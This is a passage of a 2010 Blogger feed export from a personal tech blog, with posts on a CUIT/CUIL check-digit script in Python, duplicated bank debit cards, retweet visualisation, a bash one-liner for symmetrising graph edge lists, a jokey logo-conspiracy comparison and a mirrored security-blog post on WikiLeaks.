48);"&gt;-&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;x &lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;11&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;%&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;11&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(105, 105, 105);"&gt;#Verifica si el dígito de control ingresado&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(105, 105, 105);"&gt;# difiere con el calculado.&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;return&lt;/span&gt; Control &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;int&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt;CodigoUnDigito&lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: rgb(227, 74, 220);"&gt;__name__&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'__main__'&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'4 OK'&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; VerificarModulus11&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'20-29582925'&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'8'&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; VerificarModulus11&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;3065876301&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'2'&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; VerificarModulus11&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;2029582925&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'8'&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; VerificarModulus11&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;3065876301&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;2&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'4 Not OK'&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; VerificarModulus11&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'20-29582925'&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'7'&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; VerificarModulus11&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;3065876301&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'3'&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; VerificarModulus11&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;2029582925&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 230);"&gt;'4'&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: rgb(128, 0, 0); font-weight: bold;"&gt;print&lt;/span&gt; VerificarModulus11&lt;span style="color: rgb(128, 128, 48);"&gt;(&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;3065876301&lt;/span&gt;&lt;span style="color: rgb(128, 128, 48);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 140, 0);"&gt;1&lt;/span&gt; &lt;span style="color: rgb(128, 128, 48);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-7511099158317168817?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/7511099158317168817/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/11/verificar-cuitcuil-usando-el-modulus-11.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7511099158317168817'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/7511099158317168817'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/11/verificar-cuitcuil-usando-el-modulus-11.html' title='Verificar CUIT/CUIL usando el Modulus 11 en Python'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-5881949063714712845</id><published>2010-11-08T11:58:00.000-08:00</published><updated>2010-11-08T12:24:13.434-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sistema'/><category scheme='http://www.blogger.com/atom/ns#' term='duplicadas'/><category scheme='http://www.blogger.com/atom/ns#' term='banelco'/><category scheme='http://www.blogger.com/atom/ns#' term='débito'/><category scheme='http://www.blogger.com/atom/ns#' term='banco'/><category scheme='http://www.blogger.com/atom/ns#' term='standard'/><category scheme='http://www.blogger.com/atom/ns#' term='patagonia'/><category scheme='http://www.blogger.com/atom/ns#' term='francés'/><category scheme='http://www.blogger.com/atom/ns#' term='duplicado'/><category scheme='http://www.blogger.com/atom/ns#' term='tarjetas'/><title type='text'>Se cayó el sistema: tarjetas de débito duplicadas</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/TNhcStZgteI/AAAAAAAAARk/GRHYRl4AB2M/s1600/banking.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 292px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/TNhcStZgteI/AAAAAAAAARk/GRHYRl4AB2M/s400/banking.png" alt="" id="BLOGGER_PHOTO_ID_5537277218346022370" border="0" /&gt;&lt;/a&gt;En esta ocasión les voy a contar una curiosidad bancaria que me ocurrió. Espero que alguien me pueda explicar que pasó o la información les sea de utilidad para evitar futuras complicaciones.&lt;br /&gt;&lt;ol style="text-align: justify;"&gt;&lt;li&gt;Pierdo las tarjetas de débito en el recital de Rush.&lt;/li&gt;&lt;li&gt;Cancelo las tarjetas de débito llamando al servicio de denuncia de Banelco. Cancelo 3 tarjetas de débito, una de Standard Bank, una de Patagonia y una del Banco Francés.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;A los pocos días llega por correo postal una nueva tarjeta de débito del Banco Patagonia junto con una tarjeta de débito nueva del Standard Bank.&lt;/li&gt;&lt;li&gt;Pruebo las tarjetas y nos funcionan, estaban inválidas.&lt;/li&gt;&lt;li&gt;Luego de algunos días más llega por correo postal un código PIN de Banelco, pero no especifica a que tarjeta pertenece o para que sirve. Yo asumia previamente que las tarjetas nueva se activaban con el primer uso (¿no es inseguro eso?). Ahora parece que mandan el PIN por correo postal aunque no terminé de entender para qué.&lt;/li&gt;&lt;li&gt;Pasan más días y llegan más tarjetas de débito por correo postal. Standard Bank me manda ahora otra tarjeta duplicada de la anterior (?) y una tarjeta extra más con una nota que diciendo "la anterior fue invalidada no la use". Es decir me mandaron en total 3 tarjetas de Standard Bank.&lt;/li&gt;&lt;li&gt;Ninguna de las tarjeta de Standard Bank funcionó.&lt;/li&gt;&lt;li&gt;Voy al Banco Standard Bank y pido una blanqueo de tarjeta para poder usar alguna. Confundida la cajera consulta con un compañero y llegan a la conclusión mirando el sistema que la última tarjeta es la válida, la blanquean y felizmente... ¡funciona!&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: justify;"&gt;Mis explicaciones posibles son:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;El operador de denuncias de Banelco se confundió y me pidió 1 tarjeta de Patagonia y 2 de Standard en vez de una de Patagonia, una de Standard y una de Francés. Luego se dió cuenta y canceló las de Standard y pidió otra para mí.&lt;/li&gt;&lt;li&gt;Alguién encontró mi tarjeta débito de Standard Bank antes que yo la denuncie y haciendo algún uso o llamado a algún servicio se la cancelaron y automáticamente mandaron nuevas tarjetas. Este hecho se repitió en dos ocasiones.&lt;/li&gt;&lt;li&gt;Es un bug del software de Banelco según el cual si cancelas varias tarjetas al mismo tiempo hay errores. Esta explicación no parece muy plausible porque se supone que sus sistemas estan recontra-probados.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;La nota de color curiosa del historia es que la última tarjtea de Standard Bank tiene un color azul un poco más claro que las otras. ¿Será una estrategia del banco para distinguir ediciones de las tarjetas o las tarjetas duplicadas que mandaron son falsas y forman parte de algun estafa (esta es la alternativa conspiranoica)?&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-5881949063714712845?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/5881949063714712845/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/11/se-cayo-el-sistema-tarjetas-de-debito.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/5881949063714712845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/5881949063714712845'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/11/se-cayo-el-sistema-tarjetas-de-debito.html' title='Se cayó el sistema: tarjetas de débito duplicadas'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tJD3vUnZtL0/TNhcStZgteI/AAAAAAAAARk/GRHYRl4AB2M/s72-c/banking.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-2480775924423918627</id><published>2010-11-02T12:58:00.000-07:00</published><updated>2010-11-02T13:21:02.768-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sonia'/><category scheme='http://www.blogger.com/atom/ns#' term='gephi'/><category scheme='http://www.blogger.com/atom/ns#' term='visualizacion'/><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='RTs'/><category scheme='http://www.blogger.com/atom/ns#' term='retweets'/><title type='text'>Visualizando Retweets con Sonia</title><content type='html'>Estuve haciendo unas pruebas con &lt;a href="http://gephi.org/"&gt;Gephi&lt;/a&gt; para visualizar grafos dinámicos de Twitter, en este caso retweets. Con Gephi 0.7beta tuve problemas porque no se puede hacer todo automático (hay que mover el cursor temporal a mano) y además no esta muy estable la característica dinámica.&lt;br /&gt;&lt;br /&gt;Finalmente probé con &lt;a href="http://www.stanford.edu/group/sonia/papers/index.html"&gt;SoNIA 1.2.0&lt;/a&gt; y tuve resultados muy buenos. ¡Excelente herramienta!&lt;br /&gt;&lt;ul&gt;&lt;li&gt;      Nodos: usuarios de Twitter&lt;/li&gt;&lt;li&gt;Conexiones: dirigidas, retweets o mensajes reenviados en Twitter, desde emisor a seguidor que reenvia el mensaje&lt;/li&gt;&lt;li&gt;1000 ReTweets (usando Twitter API)&lt;/li&gt;&lt;li&gt;Desde Sat Jun 05 2010 19h29m33s hasta 21h20m58s&lt;/li&gt;&lt;li&gt;Tiempo total  1 hora 50 minutos aprox&lt;/li&gt;&lt;li&gt;Visualización: Sonia 1.2.0&lt;/li&gt;&lt;li&gt;Ubicación inicial circular, dinámica tipo resorte&lt;/li&gt;&lt;li&gt;Fracciones de tiempo, 2 minutos, duración de los RTs 4 minutos&lt;/li&gt;&lt;/ul&gt; Observamos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;       La distribución temporal de RTs/rumor no es uniforme&lt;/li&gt;&lt;li&gt;       Ídem para distribución de tamaño/difusión del rumor&lt;/li&gt;&lt;/ul&gt;El próximo paso sería hacer una visualizaciÓn para algun tweet que haya tenido mucha difusión, dado que los tweets que recolecté en esta ocasión son diversos se vé que no llegan mucho lejos, es decir, no se difundieron mucho.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://www.assembla.com/spaces/cloudlight/documents/aUuk005R4r35jLeJe5cbLA/download/aUuk005R4r35jLeJe5cbLA"&gt;VER EN TAMAÑO GRANDE&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;object height="205" width="400"&gt;&lt;/object&gt;&lt;br /&gt;&lt;object height="205" width="400"&gt;&lt;param name="movie" value="https://www.assembla.com/spaces/cloudlight/documents/dhpfZG5ROr35uXeJe5cbCb/download/dhpfZG5ROr35uXeJe5cbCb"&gt;&lt;/object&gt;&lt;br /&gt;&lt;object height="205" width="400"&gt;&lt;embed src="https://www.assembla.com/spaces/cloudlight/documents/dhpfZG5ROr35uXeJe5cbCb/download/dhpfZG5ROr35uXeJe5cbCb" height="205" width="400"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;object height="205" width="400"&gt;&lt;/object&gt;&lt;/div&gt;&lt;object height="205" width="400"&gt;&lt;br /&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-2480775924423918627?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/2480775924423918627/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/11/visualizando-retweets-con-sonia.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/2480775924423918627'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/2480775924423918627'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/11/visualizando-retweets-con-sonia.html' title='Visualizando Retweets con Sonia'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-9222351468860031056</id><published>2010-09-24T10:51:00.000-07:00</published><updated>2010-09-24T11:24:27.973-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='edgelist'/><category scheme='http://www.blogger.com/atom/ns#' term='posix'/><category scheme='http://www.blogger.com/atom/ns#' term='manipulation directed'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='huge'/><category scheme='http://www.blogger.com/atom/ns#' term='graph'/><category scheme='http://www.blogger.com/atom/ns#' term='networks'/><title type='text'>Huge Graph Manipulation: Symmetrizing a Directed Edgelist Graph</title><content type='html'>&lt;div style="text-align: justify;"&gt;After months of struggling with efficient proccesing of graph on Python, I am starting to use very old tools from the &lt;span style="font-family:courier new;"&gt;bash&lt;/span&gt; command line to process graph. &lt;span style="font-style: italic;"&gt;Remember&lt;/span&gt;: Always return to the basics.&lt;br /&gt;In this case we want to extract the maximal symmetric subgraph of a directed graph and convert it to it's undirected representation. It is common to work with edge list representation file including one edge per line, &lt;span style="font-style: italic;"&gt;without repeated edges&lt;/span&gt;.&lt;br /&gt;The idea is to:&lt;br /&gt;&lt;/div&gt;&lt;ol style="text-align: justify;"&gt;&lt;li&gt;Swap directed edges resulting in a lexicographical order for source and destination for each edge. Needed for next step. Using &lt;span style="font-family:courier new;"&gt;awk&lt;/span&gt; tool.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Sort edges to put together symmetric connections, i.e. nodes connected by edges in both directions. Needed for the next step. Using &lt;span style="font-family:courier new;"&gt;sort&lt;/span&gt; tool.&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Filter repeated edges. That is, print only edge with more than one ocurrence. Use &lt;span style="font-family:courier new;"&gt;uniq &lt;/span&gt;tool.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: justify;"&gt;&lt;code&gt;&lt;/code&gt;&lt;div style="text-align: left;"&gt;&lt;blockquote  style="font-family:courier new;"&gt;&lt;span style="font-size:130%;"&gt;cat graph.txt | awk -F'[ ]' '{ if ($1 &lt;= $2) print $1, $2; else print $2, $1 }' | sort | uniq -d &gt; graph.txt.symm&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;code&gt;&lt;br /&gt;&lt;/code&gt;I benchmarked this one line script in my computer (Core 2 Duo 2.66MGz,  1GB RAM) with a LiveJournal social networks involving 77 million  directed edges and the result was obtained after 20 minutes: 28 million  undirected edges!&lt;br /&gt;The secret behind standard POSIX tools is the correct usage of memory  and disk to sort and process files. These tools don't abuse memory nor  disk.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-9222351468860031056?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/9222351468860031056/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/09/huge-graph-manipulation-symmetrizing.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/9222351468860031056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/9222351468860031056'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/09/huge-graph-manipulation-symmetrizing.html' title='Huge Graph Manipulation: Symmetrizing a Directed Edgelist Graph'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-4258884333891517439</id><published>2010-08-06T23:52:00.001-07:00</published><updated>2010-08-07T00:15:39.694-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='conspiracy'/><category scheme='http://www.blogger.com/atom/ns#' term='credits'/><category scheme='http://www.blogger.com/atom/ns#' term='newworldorder'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='plagiarism'/><category scheme='http://www.blogger.com/atom/ns#' term='currency'/><title type='text'>Logo Plagiarism, Facebook, Currency and New World Order (and Illusions)</title><content type='html'>&lt;div style="text-align: justify;"&gt;We continue these logo plagiarism series with a conspiratorial discovery. In this case we noticed that the &lt;a href="http://www.worldbank.org/"&gt;World Bank&lt;/a&gt; logo is very similar to the logo of the newly 2010 data protocol designed by &lt;a href="http://developers.facebook.com/docs/opengraph"&gt;Facebook&lt;/a&gt; to take over the Semantic Web arena: the &lt;a href="http://opengraphprotocol.org/"&gt;Open Graph Protocol&lt;/a&gt;. Watch it by yourself and analyse it, the message is clear, they want to became the most important World Database. Curiously, at the same time Facebook was presenting the Open Graph Protocol, they were also presenting their &lt;a href="http://developers.facebook.com/credits"&gt;Facebook currency&lt;/a&gt;. Virtual money to be used in games and possibly everywhere via &lt;a href="http://en.wikipedia.org/wiki/Micropayment"&gt;micropayments&lt;/a&gt; and mobile phones. For the sake of irony, both logos are known to produce an optical illusion when seen, famous virtual dots in the line-crossings (&lt;a href="http://en.wikipedia.org/wiki/Grid_illusion"&gt;grid illusion&lt;/a&gt;). Read also about the rest of the Facebook plan: &lt;a href="http://blog.mechpoet.net/2010/05/future-of-facebook.html"&gt;The Future of Facebook&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size:130%;"&gt;World Bank Logo (by Anonymous banker)&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://voiceoftheturtle.org/raj/blog/world%20bank%20logo.gif"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 172px; height: 173px;" src="http://voiceoftheturtle.org/raj/blog/world%20bank%20logo.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:130%;"&gt;Open Graph Protocol Logo (by Facebook)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://opengraphprotocol.org/open_graph_protocol_logo.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 201px; height: 201px;" src="http://opengraphprotocol.org/open_graph_protocol_logo.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Facebook Currency Logo (a.k.a Credits)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://static.ak.fbcdn.net/images/credits/logo_huge.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 200px; height: 199px;" src="http://static.ak.fbcdn.net/images/credits/logo_huge.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-4258884333891517439?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/4258884333891517439/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/08/logo-plagiarism-facebook-currency-and.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/4258884333891517439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/4258884333891517439'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/08/logo-plagiarism-facebook-currency-and.html' title='Logo Plagiarism, Facebook, Currency and New World Order (and Illusions)'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-8214852736858737704</id><published>2010-08-02T23:22:00.000-07:00</published><updated>2010-08-02T23:39:06.453-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='usa'/><category scheme='http://www.blogger.com/atom/ns#' term='ghost'/><category scheme='http://www.blogger.com/atom/ns#' term='posts'/><category scheme='http://www.blogger.com/atom/ns#' term='zalewski'/><category scheme='http://www.blogger.com/atom/ns#' term='blogging'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='deja-vu'/><category scheme='http://www.blogger.com/atom/ns#' term='wikileaks'/><title type='text'>Blogging Deja-vu: Ghost Posts</title><content type='html'>&lt;div style="text-align: justify;"&gt;Is not the first time that a blog post appears in my &lt;a href="https://www.google.com/reader/view/feed/http%3A%2F%2Flcamtuf.blogspot.com%2Ffeeds%2Fposts%2Fdefault"&gt;Google Reader&lt;/a&gt; besides being erased in the present time feed. In this case a post by &lt;a href="http://lcamtuf.coredump.cx/"&gt;Michael Zalewski&lt;/a&gt;, a Security Researcher (upper-case). He is apparently working for Google now, and he was blogging about the relation between the WikiLeaks versus USA affair and the disclosure of security vulnerabilities endless debate. Censorship? Conspiracy? Who knows, in either case mirroring the post is worthwhile due to  the relevancy of the writer.&lt;br /&gt;&lt;/div&gt;&lt;h2 style="text-align: justify;" class="entry-title"&gt;&lt;a class="entry-title-link" target="_blank" href="http://lcamtuf.blogspot.com/2010/07/language-keeps-following-me.html"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;h2 style="text-align: justify;" class="entry-title"&gt;&lt;a class="entry-title-link" target="_blank" href="http://lcamtuf.blogspot.com/2010/07/language-keeps-following-me.html"&gt;Linguistic deja vu&lt;/a&gt;&lt;/h2&gt;&lt;div style="text-align: justify;" class="entry-author"&gt;&lt;span class="entry-source-title-parent"&gt;from &lt;a href="https://www.google.com/reader/view/feed/http%3A%2F%2Flcamtuf.blogspot.com%2Ffeeds%2Fposts%2Fdefault" class="entry-source-title" target="_blank"&gt;lcamtuf's blog&lt;/a&gt;&lt;/span&gt; &lt;span class="entry-author-parent"&gt;by &lt;span class="entry-author-name"&gt;Michal Zalewski&lt;/span&gt;&lt;/span&gt;&lt;div class="entry-likers"&gt;&lt;div class="entry-likers-n"&gt;&lt;span class="number-of-likers more-likers-link link"&gt;1 person liked this&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;" class="entry-body"&gt;&lt;div class="item-body"&gt;The New York Times, July 2010 (&lt;a target="_blank" href="http://www.nytimes.com/2010/07/26/world/26wiki.html"&gt;link&lt;/a&gt;): &lt;p&gt; &lt;cite style="display: block; padding-left: 2em;"&gt;"Steven Aftergood, head  of the project on government secrecy at the Federation of American  Scientists, in his blog posting on June 28 accused WikiLeaks of '&lt;span style="color:purple;"&gt;information vandalism&lt;/span&gt;' with no regard for privacy or social usefulness.&lt;/cite&gt;&lt;/p&gt;&lt;p&gt; &lt;cite style="display: block; padding-left: 2em;"&gt;'WikiLeaks must be  counted among the enemies of open society because it does not respect  the rule of law nor does it honor the rights of individuals,' he wrote."&lt;/cite&gt;  &lt;/p&gt;&lt;p&gt; Scott Culp, October 2001 (&lt;a target="_blank" href="http://www.angelfire.com/ky/microsfot/timeToEnd.html"&gt;link&lt;/a&gt;): &lt;/p&gt;&lt;p&gt;  &lt;cite style="display: block; padding-left: 2em;"&gt;"If we 